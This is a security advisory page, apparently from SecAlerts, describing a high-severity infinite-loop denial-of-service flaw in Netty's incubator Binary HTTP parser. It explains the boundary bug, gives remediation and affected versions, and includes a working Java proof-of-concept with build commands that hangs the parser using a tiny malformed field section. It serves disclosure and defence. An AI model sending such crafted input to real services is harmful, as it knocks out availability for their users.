GHSA-8cfx-wx3q-mh5q: High severity maven/io.netty.incubator:netty-incubator-codec-bhttp vulnerability

Published Aug 20, 2026
·
Updated

Summary

io.netty.incubator:netty-incubator-codec-bhttp can enter a non-terminating parse loop when a known-length Binary HTTP field section ends exactly after a complete field line. A remote peer that can send Binary HTTP input to a Netty pipeline using BinaryHttpParser / BinaryHttpDecoder can use a tiny malformed request or response to keep the parsing thread busy indefinitely, causing denial of service.

Details

In codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java, readFieldSection(...) tracks the remaining field-section length in fieldSectionLength, then repeatedly calls readFieldLine(...) until the length reaches zero:

- readFieldSection(...) parses the known-length field section and enters while (fieldSectionLength != 0) at BinaryHttpParser.java:619. - Inside the loop, it records readableBytes, calls readFieldLine(...), computes read = readableBytes - in.readableBytes(), asserts read > 0, and subtracts read from fieldSectionLength at BinaryHttpParser.java:620-625. - readFieldLine(...) returns null without consuming bytes when the field line ends exactly at the end of the readable slice because it uses if (sumBytes >= in.readableBytes()) return null after adding the value length (BinaryHttpParser.java:678-681). - With JVM assertions disabled (the production default), assert read > 0 is not active. The parser therefore subtracts zero forever and never returns.

The boundary condition is reachable with a valid known-length field section containing exactly one complete field line and no extra byte after that line. Example field section: length 4, then name length 1, name a, value length 1, value b.

Proof of concept

Safe local verification performed in this repository:

1. Compile the module and classpath:

bash ./mvnw -q -pl codec-bhttp -am compile test-compile ./mvnw -q -pl codec-bhttp dependency:build-classpath -Dmdep.outputFile=/tmp/codec-bhttp-cp.txt printf '%s' "codec-bhttp/target/classes:$(cat /tmp/codec-bhttp-cp.txt)" > /tmp/codec-bhttp-run-cp.txt

2. Compile and run this minimal verifier with production-style assertions disabled:

java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.incubator.codec.bhttp.BinaryHttpParser; import io.netty.incubator.codec.bhttp.VarIntCodecUtils; import java.nio.charset.StandardCharsets;

public final class VerifyBhttpHang { private static void writeAscii(ByteBuf out, String value) { VarIntCodecUtils.writeVariableLengthInteger(out, value.length()); out.writeCharSequence(value, StandardCharsets.USASCII); } public static void main(String[] args) { ByteBuf buffer = Unpooled.buffer(); VarIntCodecUtils.writeVariableLengthInteger(buffer, 0); // known-length request writeAscii(buffer, "GET"); writeAscii(buffer, "https"); writeAscii(buffer, "example.com"); writeAscii(buffer, "/"); VarIntCodecUtils.writeVariableLengthInteger(buffer, 4); // field section length writeAscii(buffer, "a"); writeAscii(buffer, "b"); new BinaryHttpParser(8192).parse(buffer, false); System.out.println("returned"); } }

Execution result observed locally:

text timeout 3 java -cp "/tmp:$(cat /tmp/codec-bhttp-run-cp.txt)" VerifyBhttpHang exit=124

Exit code 124 from timeout confirms the parser did not return within three seconds. When assertions are enabled by Surefire, the same payload fails at BinaryHttpParser.java:622 (assert read > 0), confirming the non-progress condition.

Impact

A peer that can deliver crafted BHTTP bytes can cause the parser to loop forever. In Netty deployments this can pin the event-loop thread or worker responsible for the channel, reducing or eliminating availability for other channels on the same event loop. Through OHTTP, the same parser is used after successful decryption of protected payloads, so authenticated/decryptable OHTTP peers can trigger the same condition in the inner BHTTP parser.

Suggested remediation

- Treat readFieldLine(...) == null as incomplete input and return null from readFieldSection(...) instead of continuing. - Replace boundary checks in readFieldLine(...) that require an extra byte after a complete field line. A complete field line ending exactly at the known field-section boundary should be accepted. - Add a production runtime guard that throws a controlled decoder exception if a parser loop iteration makes no progress. - Add regression tests with JVM assertions disabled for known-length header and trailer field sections that end exactly at the field-section boundary.

References

- codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:619-625 - codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:678-681 - RFC 9292: Binary Representation of HTTP Messages

Affected Software

1 affected componentFixes available
maven/io.netty.incubator:netty-incubator-codec-bhttp<=0.0.22.Final
0.0.23.Final

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/io.netty.incubator:netty-incubator-codec-bhttp to a version that resolves this vulnerability.

    Fixed in 0.0.23.Final
  2. Configuration

    If any environment toggles JVM assertions, ensure they are enabled during testing/verification because the non-progress condition relies on `assert read > 0` at `BinaryHttpParser.java:622` and when assertions are disabled the guard is not active.

    Binary HTTP parser (io.netty.incubator.codec.bhttp.BinaryHttpParser readFieldSection/readFieldLine) Assumption about JVM assertions = enabled vs disabled
  3. Compensating control

    Mitigate the DoS by adding a production runtime guard that throws a controlled decoder exception when a parser loop iteration makes no progress (non-terminating loop condition described for `BinaryHttpParser.java:619-625` where progress is computed as `read = readableBytes - in.readableBytes()` and expected to satisfy `read > 0`).

Event History

Aug 20, 2026
Advisory Published
via GitHub·06:43 PM
Data Sourced
via GitHub·06:43 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Deployments are exposed if they use netty-incubator-codec-bhttp with a Netty pipeline that processes Binary HTTP input through BinaryHttpParser or BinaryHttpDecoder. A remote peer must be able to send Binary HTTP requests or responses to that pipeline.

2

What does an attacker need to send to trigger the denial of service?

The attacker needs to send malformed Binary HTTP input containing a known-length field section whose length ends exactly after a complete field line. This can cause the parser to repeatedly process the section without consuming additional bytes, keeping the parsing thread busy indefinitely.

3

How can I recognize an active exploitation attempt or impact?

Affected processing may show a parsing thread remaining busy indefinitely while handling a small malformed Binary HTTP request or response. The condition occurs during parsing of a known-length field section at the boundary immediately following a complete field line.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203